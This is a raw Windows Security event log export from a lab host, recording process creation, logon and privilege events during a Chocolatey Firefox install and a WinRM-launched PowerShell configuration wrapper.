Process Information:
	New Process ID:		0xaec
	New Process Name:	C:\Program Files\Mozilla Firefox\default-browser-agent.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xc38
	Creator Process Name:	C:\Users\Administrator\AppData\Local\Temp\chocolatey\7zSC3CAC490\setup.exe
	Process Command Line:	"C:\Program Files\Mozilla Firefox\default-browser-agent.exe" register-task 308046B0AF4A39CB

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:00 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=245974
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x3BE34

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe0c
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x4f8
	Creator Process Name:	C:\Windows\System32\shutdown.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:00 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=245973
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x3BE34

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x4f8
	New Process Name:	C:\Windows\System32\shutdown.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xd7c
	Creator Process Name:	C:\ProgramData\chocolatey\choco.exe
	Process Command Line:	"C:\Windows\System32\shutdown.exe" /a

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:01 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Special Logon
OpCode=Info
RecordNumber=246005
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x6BE79

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:40:01 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=246004
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x6BE79
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:40:01 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=246003
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:40:01 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4776
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Credential Validation
OpCode=Info
RecordNumber=246002
Keywords=Audit Success
Message=The computer attempted to validate the credentials for an account.

Authentication Package:	MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
Logon Account:	Administrator
Source Workstation:	WIN-DC-725
Error Code:	0x0
03/11/2021 11:40:01 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246001
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x6B916

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x990
	New Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x628
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	PowerShell  -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA=

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:01 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246000
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x6B916

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x628
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xa14
	Creator Process Name:	C:\Windows\System32\winrshost.exe
	Process Command Line:	C:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA=

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:01 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Special Logon
OpCode=Info
RecordNumber=245999
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x6BC2C

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:40:01 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=245998
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x6BC2C
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:40:01 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=245997
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:40:01 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4776
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Credential Validation
OpCode=Info
RecordNumber=245996
Keywords=Audit Success
Message=The computer attempted to validate the credentials for an account.

Authentication Package:	MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
Logon Account:	Administrator
Source Workstation:	WIN-DC-725
Error Code:	0x0
03/11/2021 11:40:01 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=245995
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x6B916

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xab4
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xa14
	Creator Process Name:	C:\Windows\System32\winrshost.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:01 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=245994
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x6B916

Process Information:
	New Process ID:		0xa14
	New Process Name:	C:\Windows\System32\winrshost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x3b4
	Creator Process Name:	C:\Windows\System32\svchost.exe
	Process Command Line:	C:\Windows\system32\WinrsHost.exe -Embedding

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:01 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Special Logon
OpCode=Info
RecordNumber=245993
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x6B916

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:40:01 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=245992
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x6B916
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

